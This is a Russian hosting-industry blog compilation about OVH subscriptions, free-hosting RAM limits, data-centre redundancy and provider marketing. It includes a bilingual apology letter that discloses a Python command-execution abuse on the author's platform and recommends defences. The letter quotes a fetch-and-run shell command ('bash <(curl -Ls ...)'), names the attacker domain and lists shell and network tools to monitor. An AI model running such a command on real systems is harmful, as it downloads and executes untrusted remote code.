что такое подписка?
это когда предлагалось согласиться на услугу на оплату на 1 год или 2 года, но получить
1. получить бесплатную установку
2. какую-то скидку. сначала там были шикарные скидки. но потом каждый год они падали и упали до жалких 5% которые уже почти ничего не экономили, а риск «остаться с продлением на 2 лет» был велик
по началу шел шикарный спрос(как оказалось из-за бага) и Олес даже хотел сделать на 5 лет подписку, но так и не сделал

подписка появилась в 2020
5 лет назад
и похоже концепция такой услуги себя не оправдала

не буду говорить согласен ли я с тем, что это был полный провал или не согласен
ХУЙ знает, мое мнение — были и плюсы и минусы

просто расскажу факты истории

с подпиской можно было продавать по разным ценам


в начале когда эту подписку ввели
она была баговая
короче можно было заказывать по подписке БЕЗ УСТАНОВКИ и просто не продлять сервер и он отключался как обычный сервер и удалялся
год или пару — реселлеры так продавали «дешевле чем у ОВХ»

потом сотрудники начали портить жизнь таким читерам
и стали переводить аккаунты на принудительное авто-продление чтобы серверы не отключались
тогда что стали делать реселлеры?
они стали выкидывать такие «подписочные» серверы в пустые аккаунты где сервер продлялся в минус и потом удалялся
короче стали выкидывать на мусорные аккаунты

тогда что сотрудники сделали?
они запретили возможность переносить серверы, если на них была подписка
да, тут сразу началось попадалово, в течение 2х летней подписке шанс что клиент откажется от сервера — 90%
но считаю это был честный обмен, сначала клиенты попытались через баги сэкономить и потом баги починились и где-то пришлось продлять серверы в пустую и потерять деньги. никто не в обиде, как говорится «сам виноват».

НО я думаю подписку удалили не из-за того, что они заебались воевать с читерами
а потому что пришло ДОЛГОЖДАННОЕ крутое обновление тарифов. в 2024 году ОВХ снова стало делать крутые обновления и подниматься.
и вот весь народ — захотел обновиться на новые серверы
а у них допустим — подписка
и что?
кому приятно сидеть и целых 2 года продлять ПО СТАРОЙ цене сервер, который НОВЫЙ можно купить в 2 раза дешевле
все начали ныть наверно как отменить эту ебучую подписку
потому что подписка портила мораль. вот есть довольный клиент, который любит новинки ОВХ и он видит новые тарифы — и он хочет на радостях попробовать новые тарифы. но подписка заставляет его грустно продлять говно и мораль портится, клиент не может попробовать новинку, а так же еще чувствует что тратит деньги на мусор столетний.
думаю именно это и послужило триггером к отмене подобной хуйни в принципе на всех тарифах

итого что можно сказать?
подписка как средство экономии — это хороший метод рекламы
но только если компания не планирует обновлять свои тарифные планы лет 10
а если вы являетесь современной компанией идущей в ногу со временем, то подобные подписки хуйня обыкновенная, потому что в современных компаниях люди постоянно каждый год, каждые 2 года покупают «новинки» и обновляются.
бывают конечно специфичные задачи типо на 10-15 лет пока не сгорит. и даже старый сервер не хочется в таком случае обновлять. НО как обычно случается? этот самый тот же самый старый сервер начинает стоить в 2 раза дешевле. и просто грустно смотреть, как ты оплачиваешь старый заказ, пусть и нужный заказ который ты так или иначе хочешь продлять 15 лет, но грустно смотреть как ты эти 15 лет продляешь по старой цене, когда видишь на прилавке тот же самый товар по новой цене в два раза дешевле. и поэтому даже тот, кто не планировал обновлять сервер, из-за всяких вечных изменений цены — начинает хотеть поменять старый на новый.

Но селектел похоже считает что незачем держать 2 точки входа при заказе

начало
hosting.show/alice2k-hosting/dlya-kitaycev-nuzhno-sobirat-1-tb-ozu-servery-pohozhe-no-k-sozhaleniyu-takih-staryh-i-nenuzhnyh-poka-esche-net-no-v-2030-budut.html


Сайтов на питоне нет — я все удалил
Нет не одного питон процесса в списке процессов
Но увы — не удаляется.







Короче 1 процесс жрет 60 мб
1 ТБ озу сервер это 1000000 мб
/ 16000 процессов
допустим по 5 процессов на человека
16000/5 = 3200 аккаунтов

И это кстати хороший пример того что означает «слабый хостинг».
Вот я писал много раз про слабые облака или что-ниб еще.
Пришел наплыв заказов — продукт не справился. Так как там было 32 озу 128 озу и 16 озу и 16 озу всего лишь 4 сервера бомжа, для бесплатного то хостинга.
Но любой нормальный хостинг, например таймвеб или регру которые считают себя лидерами должен в запасе иметь думаю около 10 ТБ озу чтобы в случае чего не опозориться.
Тоже самое с ВДС я писал уже ранее

Я конечно своим проебом это не считаю — так как услугу бесплатного хостинга я и не планировал масштабировать. Но если бы я серьезно задумался сделать «хостинг сайтов» то только 10 ТБ озу запаса — только так.

кстати идею с каталогом Авито мне так никто и не реализовал
а ведь если бы существовал такой специальный сайт каталог — железо б/у разлеталось бы как пирожки

начало интересного случая с дырявой ISPmanager
hosting.show/alice2k-hosting/dlya-kitaycev-nuzhno-sobirat-1-tb-ozu-servery-pohozhe-no-k-sozhaleniyu-takih-staryh-i-nenuzhnyh-poka-esche-net-no-v-2030-budut.html

I am writing to take full responsibility for the recent wave of service abuse that has impacted your platform. I am the person who initiated this situation.

Initially, I discovered a method that allowed for arbitrary command execution using Python on your servers. Without considering the potential consequences, I shared this finding within an online community. I severely underestimated the impact this would have, and I never intended for it to lead to widespread malicious activity.

To mitigate any further damage, I have now deleted all the content I posted regarding this method. I want to express my deepest and most sincere apologies for the significant disruption and trouble this has caused.

In an effort to help you secure your platform and make amends, I am providing a detailed analysis of the exploit and a set of actionable recommendations to block this and similar attacks in the future.

Technical Analysis and Recommendations

The attack relies on the ability to download and execute a remote shell script from within a user’s process. The core command being used is: bash <(curl -Ls [REMOTE_SCRIPT_URL]).

Here are several layered defense strategies to prevent this:

Immediate Mitigation: Network Egress Filtering

This is the fastest way to stop the current attack.

Action:
Block Specific Domain: Use your firewall to block all outbound traffic to the domain main.ssss.nyc.mn.
Default Deny Policy (Best Practice): Block all outbound internet access by default and only whitelist essential domains. This prevents attackers from simply moving their script to a new domain.

Core Solution: Restrict the Execution Environment

This is the fundamental, long-term solution.

Action:
Disable Dangerous Functions: In your Python environment, disable dangerous modules like subprocess, os.system, os.popen, etc.
Use Secure Sandboxing: Run user code within a heavily restricted sandbox (e.g., Docker with strict seccomp and AppArmor/SELinux profiles, or technologies like gVisor). The process should run as a low-privilege, non-root user.

Detection and Monitoring

This allows you to detect and respond to threats in real-time.

Action:
Monitor Process Creation: Log and alert whenever a user’s process spawns a shell or network utility (e.g., /bin/bash, curl, wget).
Monitor Network Connections: Log all outbound connections and alert on traffic to suspicious or unknown destinations.

Summary of Recommendations

Strategy: 1. Network Filtering
Implementation Method: Firewall rules to block specific outbound domains/IPs.
Impact: Immediate. Stops the current attack vector.

Strategy: 2. Environment Hardening
Implementation Method: Disable dangerous functions, use sandboxing (Docker, gVisor).
Impact: Strategic. The most robust long-term solution.

Strategy: 3. Detection & Monitoring
Implementation Method: Log and alert on suspicious process/network activity.
Impact: Proactive. Provides visibility for rapid response.

I once again apologize for my irresponsible actions. I hope this technical information is useful for your team and helps you strengthen your platform’s security.

Sincerely,

Я пишу, чтобы взять на себя полную ответственность за недавнюю волну злоупотреблений сервисами, которая затронула вашу платформу. Я являюсь лицом, инициировавшим эту ситуацию.

Изначально я обнаружил метод, позволяющий выполнять произвольные команды с использованием Python на ваших серверах. Не оценивая возможные последствия, я поделился этим открытием в онлайн-сообществе. Я сильно недооценил последствия этого и никогда не подразумевал, что это приведет к широкому распространению вредоносной активности.

Чтобы минимизировать дальнейший ущерб, я удалил весь опубликованный мной контент, касающийся этого метода. Хочу принести свои глубочайшие и самые искренние извинения за значительные сбои и проблемы, которые это вызвало.

Чтобы помочь вам защитить вашу платформу и исправить ситуацию, я предоставляю подробный анализ эксплойта и набор практических рекомендаций по блокированию этой и подобных атак в будущем.

Технический анализ и рекомендации

Атака основана на возможности загрузки и выполнения удаленного скрипта оболочки из процесса пользователя. Основная используемая команда: bash <(curl -Ls [URL_УДАЛЁННОГО_СКРИПТ]).

Вот несколько многоуровневых стратегий защиты для предотвращения этого:

Немедленное смягчение: Фильтрация исходящего сетевого трафика

Это самый быстрый способ остановить текущую атаку.

Действие:
Блокировка определённого домена: Используйте брандмауэр для блокировки всего исходящего трафика в домен main.ssss.nyc.mn.
Политика запрета по умолчанию (рекомендуемая практика): Блокируйте весь исходящий интернет-доступ по умолчанию и добавляйте в белый список только необходимые домены. Это не позволит злоумышленникам просто перенести свой скрипт в новый домен.

Основное решение: Ограничьте среду выполнения

Это фундаментальное долгосрочное решение.

Действие:
Отключите опасные функции: В вашей среде Python отключите опасные модули, такие как subprocess, os.system, os.popen и т. д.
Используйте безопасную песочницу: запускайте пользовательский код в строго ограниченной песочнице (например, Docker со строгими профилями seccomp и AppArmor/SELinux, или такими технологиями, как gVisor). Процесс должен запускаться от имени пользователя с низкими привилегиями, не являющегося пользователем root.

Обнаружение и мониторинг

Это позволяет обнаруживать угрозы и реагировать на них в режиме реального времени.

Действие:
Мониторинг создания процессов: регистрируйте и оповещайте о каждом запуске пользовательским процессом оболочки или сетевой утилиты (например, /bin/bash, curl, wget).

Мониторинг сетевых подключений: регистрируйте все исходящие соединения и оповещайте о трафике, направленном на подозрительные или неизвестные адреса.

Резюме рекомендаций

Стратегия: 1. Фильтрация сети
Метод реализации: правила брандмауэра для блокировки определенных исходящих доменов/IP-адресов.
Воздействие: немедленное. Блокирует текущий вектор атаки.

Стратегия: 2. Укрепление среды
Метод реализации: Отключение опасных функций, использование изолированной среды (Docker, gVisor).
Воздействие: Стратегическое. Наиболее надёжное долгосрочное решение.

Стратегия: 3. Обнаружение и мониторинг
Метод реализации: Регистрация и оповещение о подозрительной активности процесса/сети.
Воздействие: Проактивное. Обеспечивает прозрачность для быстрого реагирования.

Ещё раз прошу прощения за свои безответственные действия. Надеюсь, эта техническая информация будет полезна вашей команде и поможет вам укрепить безопасность вашей платформы.

С уважением,

сначала идет бордер какой-то
по идее их должно быть два

и тут у меня вопрос
вот допустим «здание» захотело провести 10 отдельных независимых провайдеров проводов
значит нужно 10 бордеров или все 10 проводов можно воткнуть в 1 устройство
вероятно можно в 1 устройство воткнуть, но просто разделить условный провод на 2 части, чтобы задублировать через «2 устройства»

сейчас не буду вдаваться в конкретику т.к. все равно не наша зона ответственности
но предположим что у дата-центров все сделано правильно и задублировано хоть по 10 бордерам, хоть по 2 с 10 провайдерами условными. может у кого-то и 100 провайдеров есть даже в дата-центре хз. эти все вопросы я потом изучу когда буду делать свой каталог дата-центров и записывать все эти нюансы в новом блоге о дата-центрах

потом короче от бордера идет провод до маршрутизатора
оттуда уже идут провода на коммутаторы

и вот получается значит везде всего должно быть по 2
значит в условном здании должно быть 2 основных маршрутизатора
потом в условном «зале» должно быть 2 основных коммутатора
потом из зала идут провода на «ряд» — там тоже 2 основных коммутатора под ряд
потом уже в «стойке» тоже должно быть 2 коммутатора на стойку

так вот, как же это работает
получается вот пусть будет по 48 портов устройство
значит 24 порта будут заняты для того чтобы тупо воткнуться в запасной коммутатор. когда 2 коммутатора соединены проводом просто друг с другом, чтобы был дубликат если один вышел из строя.
так же 2 порта будут заняты основные которые от маршрутизаторов. вероятно даже 4 порта, т.к. маршрутизатора то тоже 2 шт.
получается на сервер остается всего 50% от коммутаторов
50% с первого
50% с второго
а так же серверы еще должны иметь 2 сетевые карты, не так ли
чтобы сервер был сразу подключен к обоим коммутаторам
именно так же делают дубликат или как-то еще
собственно если делать везде 100г порты то железки идут дороже чем старые форм факторы.
но это не так дорого по сравнению с другими частями расхода на «сами серверы»
и мне кажется вполне выполнимо любыми компаниями которые считают себя топ50 рынка

далее что еще вот допустим ряд. ряды идут до главных. пусть даже по 2 штуки все дублируется.
я вижу что есть два варианта создания. когда каждая стойка напрямую подключается к более главным. и когда к главным подключается первая стойка, а потом все следующие стойки к первой и последовательно друг за другом. это как бы экономит провода и порты. но а если где-то в середине ряда сломался коммутатор. то получается, что нужно еще каждую стойку с соседней стойкой дублировать и к первой линии и к второй линии. чтобы если на одном из каналов затык, то происходило переключение на вторую линию. хуй знает что проще, делать длинные провода или вот так вот обе линии пересекать в каждой стойке. тут скорее уже вопрос оптимизации, кому-то не жалко будет и кучу проводов натолкать прямо до всех главных от каждой стойки.

далее в здание должно быть заведено 2 отдельных электрических луча от разных поставщиков энергии и чтобы они еще шли не под одному каналу, чтобы этот канал трактор не мог перерезать сразу оба провода (тоже самое и с оптиками с теми 10 ил 100 штуками провайдерами должны быть вырыты отдельные линии чтобы тракторы не могли резать сразу все)
потом тоже самое как с интернетом дублируется по объектам уже
получается на стойку так же выходит 2 линии
получается сервер должен еще иметь 2 БП чтобы подключиться потом на 2 линии
получается что опять же кол-во розеток в стойке тоже сокращется на 50% либо там нужно уже не 2 длинных ПДУ, а 4 ПДУ ставить
тоже самое еще и с ИБП в том числе. но нужны ли ИБП в принципе если у тебя 2 линии горячих работают. возможно ИБП в данном случае и не нужны. не могут же 2 линии автоматически отрубиться. но если эти станции зависят от «района», то вполне вероятно может быть авария полная на районе и отключит всех поставщиков. и тогда ИБП пригодятся. поэтому тут вроде как не нужная вещь, но и не помешает чтобы было. далее еще про дизеля можно поговорить тоже самое ставить по 2 штуки на объект который они запитывают по кол-ву мощности.
все таки энергия — это ответственность дата-центра и здания.
а вот интернет провайдеры — это ответственность хостера мне кажется, нормальный хостер когда свои стойки формирует должен сразу делать нормальных провайдеров в нормальном кол-ве. иначе он не имеет права называться отказоустойчивый. ну и выбирать ДЦ где можно 2 БП на 2 линии подключать в том числе. но вот дизеля всякие это уже вопрос не к хостеру. хотя возможно в каких-то случаях хостер может сам купить для своего зала нужное кол-во резерва, если это ему действительно важно. другой вопрос что дата-центр наверное не продаст, поэтому скажет пошел ты нахуй, иди сам строй свой дц и делай как нравится. варианты могут быть разные как часть ДЦ работает от одного ввода, а часть дц работает от двух вводов или четырех или сколько там кто напихивает. разные сегменты дата-центра под разные виды услуг.

далее потом уже идет софтверное резервирование на уровне хостера
например облачные функции бекапов, сетевых стораджей, san-lun дисков и тому подобное
или как делают в селектел еще серверы разбивают по разным стойкам и в личном кабинете подписываются номера стоек, и клиент при желании может все свои серверы разбить по абсолютно разным стойкам. если вдруг ломается что-то внутри стойки. почему они кстати это сделали? возможно потому что у них нету дубликатов на стойках. ведь если бы были то смысла напоминать о резерве клиенту не было бы. хуй его знает, ведь на сайте то они никак не написали об том, как у них что устроено. а может быть у них есть, но еще и лишнее напоминание клиенту о возможностях собственного резервирования чтобы «уж точно наверняка»

процессор материнку озу ты никак не продублируешь поэтому это просто запасной сервер
думаю это все
или есть еще какие-то варианты надежности?
пока клиент нубас он с легкостью хавает любой маркетинг. но чем больше лет проходит, чем больше знаний он получает — тем сильнее в его голове складывается понятие надежность. и он понимает что покупает услугу у ненадежного хостера на свой страх и риск. хотя когда-то 10 лет назад он считал что поставщики обязательно должны быть надежны иначе и быть не может. поэтому вот такая информация подробно расписанная — это плюс к продажам и лояльности клиентов, я так считаю. да можно сказать «у нас ничего этого нет» и все равно будут так же лояльные клиенты, но зато и вы чувствуете себя не пиздаболами а честными поставщиками. и если у вас что-то сломается вы так и скажете — а мы же писали у нас нихуя нет. и никто о вас даже и плохого слова не скажет. вот что значит «честная публичная информация»

вот собственно у вас в стране все так делают?
или это мои фантазии
почему никто раньше не показывал фотки серверов? боялись что-то показать.
почему сейчас никто не пишет на сайтах о «отказоустойчивости»? потому что ее наверное нет.
существует ли хоть один дата-центр описанный как в моем топике? или это фантастика и в реальности все везде работает «до первого трактора» или «первой аварии». но удачно так работает и по 15 лет потому что аварии подобные могут и никогда вовсе не случиться, человек быстрее умрет от старости чем такое произойдет.
поэтому так же встает вопрос о том, а нужна ли отказоустойчивость вообще. но это уже другое рассуждение.

но короче что я хотел сказать
когда клиент условный слышит где-то слово отказоустойчивость он думает именно о том, о чем я сейчас написал.
а вот что имеет ввиду поставщик который рекламирует себя как отказоустойчивое решение — это загадка, уверен, все люди, все компании, все дата-центры имеют АБСОЛЮТНО разные понятия вложенные в это слово.

смотрите вот купили вы сервер какой-то
если в нем сгорел кулер или вода или диск — можно заменить нет проблемы
но если там сломался процессор или озу или материнская плата — это как раз 3 запчасти которые делают 75% стоимости сервера
если любая из этих 3 деталей умерла
то вероятнее всего проще такие серверы — не чинить, а оставлять как раз под запасные части на будущее
потому что во первых пройдет уже 2-3 года прежде чем что-то сгорит или сломается, за 3 года на рынке будут уже более современные процессоры и модели железа. поэтому нет смысла чинить старые форм факторы, проще «юнит место» забить уже новым форм фактором
я прав?
хуй знает, такой мой вывод

в 2023 я покупал мобильники F+
дарил девкам ноутбуки русские по приколу от F+ когда мы ездили делать мне ЮнионПей карты весной 2023

а щас читаю что компания умирает


и знаете в чем их проблема была?
за эти 2 года я так и не видел их товар в том же Озоне
да можно было пойти и специально искать «чисто русский ноут»
но вот именно русские ноуты или телефоны — абсолютно никак нигде не рекламировались

уже ранее писал
hosting.show/alice2k-hosting/iz-za-nizkih-prodazh-otechestvennoy-elektroniki-v-potrebitelskom-segmente-gosudarstvo-nedopoluchaet-okolo-12-mlrd-rubley-v-god.html

когда-то давно firstvds был тем хостингом на который в 2012 году я перенес на их VDS — свой форум на 200 человек, но где каждый час писались сообщения и комментарии.

и короче спустя 1 день меня сразу мигрировали куда-то
притом в процессе миграции моей VDS они потеряли 4 часа сообщений — видимо на горячую мигрировали, забыв отключить ВДС
ХЗ что там было
но я всегда считал, что «все новые заказы создаются на пустых узлах» потом за 24 часа измеряется нагрузка и потом ВДС уплотняется куда-то в старые архивные пуллы нод.
именно так и работают типичные хостинги для лоха
именно так и уплотняют лохов всякие хостинги для лоха
именно тот случай убедил меня еще в большей правоте
как например так же был причастен случай с clodo.ru в том же 2012 году


так вот
с тех пор я firstvds никогда серьезно не воспринимал (не говоря еще и о том, что они запретили реселлинг по 100р)
считал что это типичные вдс для лохов
и вот я всегда думал что там такие же тарифы
и именно clo.ru был создан как «нечто новое не для лоха», но не удалось

так вот
оказывается у них все же есть в тарифах какая то разница ПО КАЧЕСТВУ
я то думал абсолютно все линейки
будь то десктоп линейка или Эпик линейка или Хеон линейка — придерживаются одной линии качества
типо дачной ВДС но просто внутри ДЦ собственного
я считал что абсолютно все ВДС
используются на серверах с 1 БП
используются без дубликата маршрутизаторов и роутеров
и только на одном интернет канале без второй сетевой карты

но а как на самом то деле?
и это — плохой маркетинг, который за 10 лет так не разу честно и не рассказал о своей компании с фоточками ДЦ серверов, моделей сетевого оборудования, прочее что там важно, наличия резервирования 2n+1 если оно есть у них в ДЦ тд тд, с честным рассказом как и что работает от А до Я

вот что я сейчас понял
что у них тарифы все же как-то делятся по качеству
но клиент(я) не понимает как и воспринимает их по низшей планки надежности считая что ничего крутого там нет, т.к. никто не доказал и не показал ему этой крутости в топиках маркетинга

этот вопрос уже ранее поднимался
как правильно рассказать о надежности

• как клиент обычно воспринимает фразу о резервировании ?
• что еще мне кажется, в восприятии клиента о резервировании
• воля случая или до первой аварии

еще тогда в процессе общения с друзьями началось недопонимание
кто-то говорил о одном — когда писал Тиер3 или 2n+1 — а кто-то думал совсем о другом
поэтому терминами — общаться тупо

так же как тупо писать слово «отказоустойчивость»

нужно именно всегда конкретизировать
только конкретика дает правильное восприятие

вот сейчас случился как раз такой момент восприятия